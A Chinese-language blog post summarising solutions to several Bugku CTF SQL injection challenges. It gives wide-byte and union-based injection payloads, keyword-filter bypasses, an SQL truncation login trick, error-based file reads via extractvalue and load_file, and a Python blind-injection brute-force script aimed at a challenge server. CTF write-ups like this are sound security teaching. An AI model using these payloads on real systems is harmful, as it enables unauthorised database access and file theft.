Nancy's Studio.

Bugku SQL注入题目总结

Word count: 1,658 / Reading time: 7 min
2018/08/25 Share

Bugku SQL注入题目总结

sql注入

查看源码发现网页编码为gb2312,猜测是宽字节注入。

关于宽字节注入可以参考详解:戳这里

果然输入?id=1%df'出现了报错,说明已经可以注入了。1%df%27被转换成了1運,原因就是单引号前被添加了转义符\,即%5c,在这里前面的%df%5c结合形成了汉字,导致单引号成功逃逸。下面就可以直接操作了。

?id=1%df'and version()>0 --+返回正确,说明数据库可能是sqlserver或者mysql

?id=1%bf' and length(user())>0 --+返回正确,说明存在user()函数,数据库为mysql

?id=1%df' order by 2 --+正常回显,?id=1%df' order by 3 --+报错,证明一共有两列

?id=1%df' union select database(),2 --+得数据库名sql5

已知表名为key,字段名为string,直接构造?id=1%df' union select 1,string from sql5.key --+

SQL注入1

题目过滤了关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

但是往后看发现这句$id = strip_tags($id);,strip_tags() 函数可以剥去字符串中的 HTML、XML 以及 PHP 的标签,这样就可以利用<>绕过。

?id=1 un<>ion sel<>ect 1,database()--+得数据库名sql3

根据已知条件构造?id=1 un<>ion sel<>ect 1,hash fr<>om sql3.key --+得flag

成绩单

这里--+被过滤了,用#注释

试着输入0' or 1=1 union select 1,2 #0'or 1=1 union select 1,2,3 #无回显,0' or 1=1 union select 1,2,3,4 #正常显示

所以输入0' union select database(),null,null,null #得数据库名skctf_flag

0' union select table_name,2,3,4 from information_schema.tables where table_schema = 'skctf_flag'#得表名fl4g

0' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g' #得列名skctf_flag

最后一步0' union select skctf_flag,2,3,4 from fl4g #得flag

login1

提示SQL约束攻击,这里可以先了解一下约束攻击什么意思,附链接:戳这里

大概意思是在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说”admin”等同于”admin “。例如以下语句的查询结果,与使用用户名”admin”进行查询时的结果是一样的。 SELECT * FROM users WHERE username='admin ';

现在可以试着操作了。点进去是个登陆页面,还看到了注册链接。先随便注册一个然后登陆,显示不是管理员还想看flag?!。。想知道管理员用户名然后尝试注入发现没啥用,于是去注册页面试着以admin为用户名注册,页面提示admin已存在 。好的这下好办了,根据提示得SQL约束攻击,直接去注册一个账号用户名叫’admin ‘(admin后加空格),设置密码,再去登陆得flag。

这是一个神奇的登陆框

试着输入发现单引号被过滤了,但是双引号没被过滤。

0" or 1=1 order by 2 #正常回显,0" or 1=1 order by 3 #显示错误,说明有两列。

0" union select database(),null #得数据库名bugkusql1

0" union select table_name,null from information_schema.tables where table_schema='bugkusql1' #得表名flag1

0" union select column_name,null from information_schema.columns where table_name='flag1' #得列名flag1

最后0" union select flag1,null from bugkusql1.flag1 #得flag

多次

点进去就会注意到?id=1,说明这个很有可能是个注入题,加单引号出错,确实可以注入。

可是不知道过滤了什么,这里可以使用异或来判断有哪些关键词被过滤了。

一上来先试试行不行?id=1'^(0)--+页面返回正确,再输入?id=1'^(1)--+显示错误,说明如果页面显示有误那么括号里的内容应该为真。这里可以用length()函数判断有哪些关键词被过滤了。

?id=1'^(length('union')>0)--+页面返回正确,说明union被过滤了。

同理,用这种方法验证一些其他的常用关键词,会发现union,select,and,or被过滤了,但是可以构造类似ununionion的形式绕过。

?id=0' ununion selselectect 1,2--+在2位上有回显

?id=0' ununionion selselectect 1,database()--+得库名web1002-1

?id=0' ununionion selselectect 1,(selselectect table_name from infoorrmation_schema.tables where table_schema='web1002-1' limit 0,1)--+得表名flag1,改变limit发现另一个表hint。(这个information好坑,里面有or。。。)

?id=0' ununionion selselectect 1,(selselectect column_name from infoorrmation_schema.columns where table_name='flag1' limit 0,1)--+得字段名flag1,还有一个叫address。同理查出hint表里有id和contents字段。

?id=0' ununionion selselectect 1,(selselectect flag1 from flag1 limit 0,1)--+得到usOwycTju+FTUUzXosjr,这个应该是第一个flag了。

然后去访问address,因该会有下一关地址。?id=0' ununionion selselectect 1,(selselectect address from flag1 limit 0,1)--+得到./Once_More.php

进入第二关,加单引号出现报错,开始注入。观察Id的回显发现union和加号都被过滤了,再试试别的关键词,sleep和substr也被过滤掉了。用ununionion后面的select也没了,换ununionion selselectect试试,这次好像没啥问题,结果不回显了。。于是到这就注不下去了

学习网上大佬的爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def flag2():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select flag2 from flag2),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
print "[*] : "+flag
key = 1
if key ==0:
break

加点东西然后运行一下得到最终的flag

报错注入

附报错注入相关知识的连接:戳这里这个也不错还有这个

题目提示不可以包含’’–’’,空格,单引号,双引号,’’union’’关键字。这里可以用换行符替换空格。

通过extractvalue报错 ?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(select%0A@@version),0x7e))成功报错

题目要求读文件双引号里面的内容(即flag),需要查询的文件路径为/var/test/key_1.php,文件名转十六进制表示0x2f7661722f746573742f6b65795f312e706870

现在读取文件 ?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),0x7e))

但是extractvalue只能读32位(转换成字符串只有16位),其实是被截断了,可以用substr(str,start,length)读取剩余部分id=1%0Aand%0Aextractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))%0Afrom%0A161%0Afor%0A20),0x7e))

接下来修改偏移量把整个文件读完就可以了,最后恢复的文件内容如下:

1
<?php fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsafdsafsdafdsafas0hfdsg9Flag:"7249f5a7fd1de602b30e6f39aea6193a"fsdafsafdsafdsafdsafa ?>
CATALOG
  1. 1. Bugku SQL注入题目总结
    1. 1.1. sql注入
    2. 1.2. SQL注入1
    3. 1.3. 成绩单
    4. 1.4. login1
    5. 1.5. 这是一个神奇的登陆框
    6. 1.6. 多次
    7. 1.7. 报错注入